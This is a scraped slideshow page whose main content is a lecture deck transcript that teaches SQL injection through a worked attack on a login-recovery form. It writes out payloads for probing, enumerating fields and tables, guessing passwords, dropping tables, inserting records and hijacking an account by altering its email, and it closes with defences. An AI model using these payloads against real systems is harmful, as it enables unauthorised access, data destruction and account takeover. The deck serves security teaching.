M M Waseem Iqbal.  Cause: Unverified/unsanitized user input  Effect: the application runs unintended SQL code.  Attack is particularly effective if.

Slides:



Advertisements
Similar presentations
MFA for Business Banking – Security Code Multifactor Authentication: Quick Tip Sheets Note to Financial Institutions: We are providing these QT sheets.
Advertisements

Module XIV SQL Injection
AmeriCorps is introducing a new online payment system for the processing of AmeriCorps forms
MY NCBI (module 4.5). MODULE 4.5 PubMed/How to Use MY NCBI Instructions - This part of the:  course is a PowerPoint demonstration intended to introduce.
E-Portfolio July2014 Managing Multi-source Feedback.
Introduction The concept of “SQL Injection”
NMED 3850 A Advanced Online Design February 25, 2010 V. Mahadevan.
NAVY Research Group Department of Computer Science Faculty of Electrical Engineering and Computer Science VŠB-TUO 17. listopadu Ostrava-Poruba.
SQL Injection Attacks Prof. Jim Whitehead CMPS 183: Spring 2006 May 17, 2006.
Dynamic Web Pages. Web Programming  All our web pages so far have been static pages. 1. We create a web page 2. We upload it to the web server 3. People.
Using Skype for Building Effective Group Collaboration MODULE I.
SQL Injection Attacks CS 183 : Hypermedia and the Web UC Santa Cruz.
15. User Authentication, Form Validation, Paging. M. Udin Harun Al Rasyid, S.Kom, Ph.D
DAY 21: MICROSOFT ACCESS – CHAPTER 5 MICROSOFT ACCESS – CHAPTER 6 MICROSOFT ACCESS – CHAPTER 7 Akhila Kondai October 30, 2013.
Form Handling, Validation and Functions. Form Handling Forms are a graphical user interfaces (GUIs) that enables the interaction between users and servers.
Setting up MyChisholm. Access the Chisholm website From any of the Chisholm campuses the website is accessible either by clicking home or typing “intranet”
Lecture 3 – Data Storage with XML+AJAX and MySQL+socket.io
MIS Week 11 Site:
Session 5: Working with MySQL iNET Academy Open Source Web Development.
Introduction to our On-Line Self Service Center at
4-1 INTERNET DATABASE CONNECTOR Colorado Technical University IT420 Tim Peterson.
(CPSC620) Sanjay Tibile Vinay Deore. Agenda  Database and SQL  What is SQL Injection?  Types  Example of attack  Prevention  References.
CSCI 6962: Server-side Design and Programming Secure Web Programming.
Lecture 14 – Web Security SFDV3011 – Advanced Web Development 1.
Web Applications Security: SQL Injection Attack S. C. Kothari CPRE 556: Slide Set 3, January 27, 2005 Electrical and Computer Engineering Dept. Iowa State.
MySQL + PHP.  Introduction Before you actually start building your database scripts, you must have a database to place information into and read it from.
1 MySQL and phpMyAdmin. 2 Navigate to and log on (username: pmadmin)
Lecture 16 Page 1 CS 236 Online SQL Injection Attacks Many web servers have backing databases –Much of their information stored in a database Web pages.
NMED 3850 A Advanced Online Design January 12, 2010 V. Mahadevan.
Drinking Water Infrastructure Needs Survey and Assessment 2007 Training.
(Chapter 10 continued) Our examples feature MySQL as the database engine. It's open source and free. It's fully featured. And it's platform independent.
Security Scanners Mark Shtern. Popular attack targets Web – Web platform – Web application Windows OS Mac OS Linux OS Smartphone.
Drinking Water Infrastructure Needs Survey and Assessment 2007 Website.
Forms and Server Side Includes. What are Forms? Forms are used to get user input We’ve all used them before. For example, ever had to sign up for courses.
Analysis of SQL injection prevention using a filtering proxy server By: David Rowe Supervisor: Barry Irwin.
COMP 321 Week 5. Overview SQL Injection Core J2EE Patterns Lab 5-2 Introduction Exam Review.
Diagnostic Pathfinder for Instructors. Diagnostic Pathfinder Local File vs. Database Normal operations Expert operations Admin operations.
Views Lesson 7.
OneView Service Center Help
Aniket Joshi Justin Thomas. Agenda Introduction to SQL Injection SQL Injection Attack SQL Injection Prevention Summary.
MEMBERSHIP AND IDENTITY Active server pages (ASP.NET) 1 Chapter-4.
How to Create an Address How to Create a Free Account, Read and Answer your s. Yahoo! provides FREE . To create a free .
Vendor Master Record Registration To Register New or Update an Existing Supplier Registration
Security Issues With Web Based Systems. Security Issues Web Based Systems  Security can not be considered an add-on or afterthought  Security must be.
Testing External Survey Automatic Credit Granting Shepherd University Department of Psychology.
IS2803 Developing Multimedia Applications for Business (Part 2) Lecture 1: Introduction to IS2803 Rob Gleasure
Mr. Justin “JET” Turner CSCI 3000 – Fall 2015 CRN Section A – TR 9:30-10:45 CRN – Section B – TR 5:30-6:45.
Secure Authentication. SQL Injection Many web developers are unaware of how SQL queries can be tampered with SQL queries are able to circumvent access.
SQL Injection Attacks An overview by Sameer Siddiqui.
MICROSOFT ACCESS – CHAPTER 5 MICROSOFT ACCESS – CHAPTER 6 MICROSOFT ACCESS – CHAPTER 7 Sravanthi Lakkimsety Mar 14,2016.
ATCC ® GUIDE TO ONLINE ORDERING. 2 Welcome to the new ATCC ® website We’ve integrated several new features to make online ordering easier for you and.
ADVANCED SQL.  The SQL ORDER BY Keyword  The ORDER BY keyword is used to sort the result-set by one or more columns.  The ORDER BY keyword sorts the.
Step 1 Lead Notifications Dear Partner, New leads have been assigned to your organization based on customer preference and are available for you.
Cosc 5/4765 Database security. Database Databases have moved from internal use only to externally accessible. –Organizations store vast quantities of.
How to register as a Preparer and create eDMRs
SQL Database Management
SQL Injection Attacks.
EAuthentication What is it? What is needed for FFAVORS?
MOBILE ACCESS & PDS CONNECTS
SQL Injection.
Unix System Administration
SQL Injection Attacks Many web servers have backing databases
Pengantar Keamanan Informasi
How to Submit e-DMRs as a Signatory with a Preparer.
Intro to PHP & Variables
Unit 27 - Web Server Scripting
Mary Torjussen A2 ICT Week 1.
Teaching slides Chapter 8.
Grocery Store Outline csc242 – web programming.
MyLion Registration Website | Mobile device
Presentation transcript:

M M Waseem Iqbal

 Cause: Unverified/unsanitized user input  Effect: the application runs unintended SQL code.  Attack is particularly effective if the application is creating SQL strings on the fly and running them.

 No prior knowledge of the application or access to the source code.  A bit of poking showed that the server ran Microsoft's IIS 6 along with ASP.NET, and this suggested that the database was Microsoft's SQL server.

 The login page had a traditional username- and-password form, but also an -me- my-password link.  We assume that the underlying SQL code for -me-my-password looks like: SELECT fieldlist FROM table WHERE field = '$ ';  No knowledge of the specific names of the fields or table involved.

 Entering a single quote as part of the data  To see if an SQL string is constructed without sanitizing.  For constructed SQL: SELECT fieldlist FROM table WHERE field = ';  Result: A 500 error (server failure)  SQL parser finds an extra quote mark  Suggests that the "broken" input is being parsed.

 For anything' OR 'x'='x constructed SQL: SELECT fieldlist FROM table WHERE field = 'anything' OR 'x'='x';  Possible Result: Should return every item in the table, but the response can be different for different applications.  Actual Result: Your login information has been mailed to (possibly the first record returned by the

 Observed three different responses to various inputs:  "Your login information has been mailed to "  "We don't recognize your address"  Server error  Well-formed SQL  Bad SQL

 Guessing some field names.  Reasonably sure that the query includes " address" and "password", and there may be things like "Mail address" or "userid" or "phone number".  Cannot do a SHOW TABLE because:  Table name is not known.  Output of the command will not be shown to the attacker.  Stepwise Processing needs to be done.

 Know that tail end of the query is a comparison with the address, let's assume is the name of the field. Constructed SQL: SELECT fieldlist FROM table WHERE field = 'x' AND IS NULL; --';  Not concerned about matching the address, hence the dummy x'.  -- marks the start of an SQL comment. (Consumes the final quote provided by application)  Why using AND conjunction instead of OR??  Used a proposed field name ( ) in the constructed query to find out if the SQL is valid or not.

 Possible Outcomes:  “A server error”  bad field name.  “ unknown" or "password was sent"  Guessed the name correctly.  Actual Outcome: " address unknown“  So now we know the name of one field in the table   In case of any other response we would have tried different names for the field like _address, mail.  A lot of guess work is involved here.

 Guessing some other obvious names: password, user ID, name etc., one at a time SELECT fieldlist FROM table WHERE = 'x' AND userid IS NULL; --';  At the completion of this test, several field names were determined as:   passwd  login_id  full_name

 Consider the query: SELECT COUNT(*) FROM tabname  Returns the number of records in that table, and of course fails if the table name is unknown

 Constructed SQL: SELECT , passwd, login_id, full_name FROM table WHERE = ' x' AND 1=(SELECT COUNT(*) FROM tabname); -- ';  Not concerned about matching the address, hence the dummy x'.  Not concerned about how many records are there.  Only concerned if the table name is correct or not.  After several guesses  didn’t get server error for members.

 Is members the table used in this query?  Can be determined using table.field notation.  Constructed SQL: SELECT , passwd, login_id, full_name FROM table WHERE = ' x' AND members. IS NULL; --';  Result: " unknown“  Confirmed that members is the table used in this query.

 Only know one address: the random member who got the initial "Here is your password" .  Getting some more names to work with, preferably those with access to more data.  Start with the company's website to find who is who.  The "About us" or "Contact" pages often list some addresses.

 Consider a query with the LIKE clause:  Allows to do partial matches of names or addresses in the database, each time triggering the "We sent your password" message and .  Warning: though this reveals an address each time we run it, it also actually sends that , which may raise suspicions.

 Constructed SQL: SELECT , passwd, login_id, full_name FROM members WHERE = ' x' OR full_name LIKE '%Bob%';  Result: “Your login information has been mailed to

 Once a valid ID is known, we can attempt to guess passwords at the main login page by an exhaustive search.  But there could be logfiles, or account lockouts to detect/prevent this approach.  The other relatively safer approach for password guessing is to make use of the non- sanitized inputs.

 Constructed SQL: SELECT , passwd, login_id, full_name FROM members WHERE = ' AND passwd = 'hello123';  Outcome: We'll know we found the password when we receive the "your password has been mailed to you" message.

 So far, everything has been done through SELECT, which is reading from the table.  SQL uses the semicolon for statement termination.  Since the input is not sanitized properly, so we can write our own unrelated command at the end of the query.

 Constructed SQL: SELECT , passwd, login_id, full_name FROM members WHERE = ' x'; DROP TABLE members; -- ';  1 st query: Not concerned about what this query returns.  2 nd query: attempts to drop table  Not required particularly.  But shows that not only can we run separate SQL commands, but we can also modify the database.

 Given that the partial structure of the members table is known, we can attempt to add a new record to the table.  If this works, we'll simply be able to login directly with our newly-inserted credentials.

 Constructed SQL: SELECT , passwd, login_id, full_name FROM members WHERE = ' x'; INSERT INTO members (' ','passwd','login_id','full_name') VALUES Friedl');-- ';

 Not enough room in the web form to enter this much text directly.  The web application user might not have INSERT permission on the members table.  There are undoubtedly other fields in the members table, and some may require initial values, causing the INSERT to fail.  Even if we manage to insert a new record, the application itself might not behave well due to the auto-inserted NULL fields that we didn't provide values for.  A valid "member" might require not only a record in the members table, but associated information in other tables, so adding to one table alone might not be sufficient.

 If not able to add a new record to the members database, we still can modify an existing one.

 From test no. 6 we know that has an account on system.  Constructed SQL to update his database record with our address: SELECT , passwd, login_id, full_name FROM members WHERE = ' x'; UPDATE members SET = WHERE = ';

 Used the regular "I lost my password" link - with the updated address - and a minute later received this From: To: Subject: Intranet login This is in response to your request for your Intranet log in information. Your User ID is: bob Your password is: hello

 Sanitize the input  Escape/Quotesafe the input (Escape Seq opr)  Use bound parameters (the PREPARE statement)  Limit database permissions and segregate users  Use stored procedures for database access  Isolate the webserver  Configure error reporting  MVC (Self Study)